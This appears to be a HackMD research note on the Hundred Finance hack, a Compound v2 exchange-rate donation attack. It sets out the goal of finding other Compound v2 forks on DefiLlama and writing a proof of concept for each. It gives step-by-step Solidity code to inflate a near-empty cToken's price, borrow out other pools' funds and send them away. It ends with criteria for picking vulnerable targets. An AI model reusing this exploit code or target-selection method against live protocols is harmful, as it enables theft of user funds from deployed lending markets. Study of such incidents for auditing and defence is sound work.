Try   HackMD

Generalized Compound v2 Exploit

Goals

  • Figure out what exactly happened with hundred finance on optimism
  • Find a list of similar compound v2 forks on various chains using Defillama
  • Write a proof of concept for each compound v2 fork(bug bounties? but forks usually don't give them out)

What happened

Hundred Finance was just hacked yesterday on Optimism for ~7m

The root of the exploit was the ability to transfer the underlying asset to the cToken to artificially raise the price of the cToken and thus how much you can borrow.

Exploit

The steps of the exploit are as follows:

  1. Deposit some WBTC to the empty hWBTC pool to mint hWBTC. This is important because we are going to manipulate the exchange rate(and thus the price) of hWBTC which will let us borrow more assets than intended.
CErc20Delegate = Delegate;
WBTC.approve(address(hWBTC), type(uint256).max);
hWBTC.mint(4 * 1e8);
  1. Redeem all your hWBTC to wBTC such that there is only dust amounts of hWBTC left in the protocol. This is important since we are manipulating the exchange rate(and thus the price) of hWBTC. The more hWBTC left in the protocol, the more expensive it will be to manipulate.
hWBTC.redeem(hWBTC.totalSupply() - 2);
  1. Donate a large amount of WBTC to the hWBTC contract to increase the exchange rate.
(,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));
uint256 donationAmount = WBTC.balanceOf(address(this));
WBTC.transfer(address(hWBTC), donationAmount);
uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));
(,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));
  1. Borrow desired tokens using the account that controls hWBTC, then send the borrowed underlying tokens to another account This is the part of the exploit that lets us drain tokens from other non hWBTC pools, allowing us to steal funds.
address[] memory cTokens = new address[](1);
cTokens[0] = address(hWBTC);
unitroller.enterMarkets(cTokens);
uint256 borrowAmount = CErc20Delegate.getCash() - 1;
CErc20Delegate.borrow(borrowAmount);
IERC20 underlyingToken = IERC20(CErc20Delegate.underlying());
underlyingToken.transfer(msg.sender, borrowAmount);
  1. Redeem the WBTC from the hWBTC pool and send it to the account of your choice. Now that you've drained tokens from the pool, you can now redeem the WBTC that you donated to the protocol to faciliate the hack.
uint256 redeemAmount = donationAmount;
hWBTC.redeemUnderlying(redeemAmount);
WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));

List of Compound v2 Forks

https://defillama.com/forks/Compound
https://defillama.com/protocols/Lending

Requirements for the hack to work

  • Must have a low liquidity token that is collateral tier

Unanswered Questions

  1. Would this work for any lending protocol that allows you to donate tokens and have those instantly counted as an increase in price?
  2. Do you need unintialized tokens or would tokens with pre-existing liquidity work? If so, what is the level at which liquidity for a cToken is too low such that the donation exploit still works?
  3. Find some compound v2 forks that have a CToken that is has zero supply and a non-zero collateral factor. Gather the following parameters and test. Mint also cannot be paused
/**
 * Required parameters to test validity of exploit
 * cToken(address) - cToken needs to have 0 supply and collateral factor > 0
 * cEther(address) - only needed to drain ETH from compound
 * unitroller(address) - unitroller address
 * exploiter(address) - address of the account that will exploit the contract
 * hackAmount(uint256) - amount of tokens to flash loan
 * network(string) - network to test exploit on
 * blockNumber(uint256) - block number to test exploit on
 */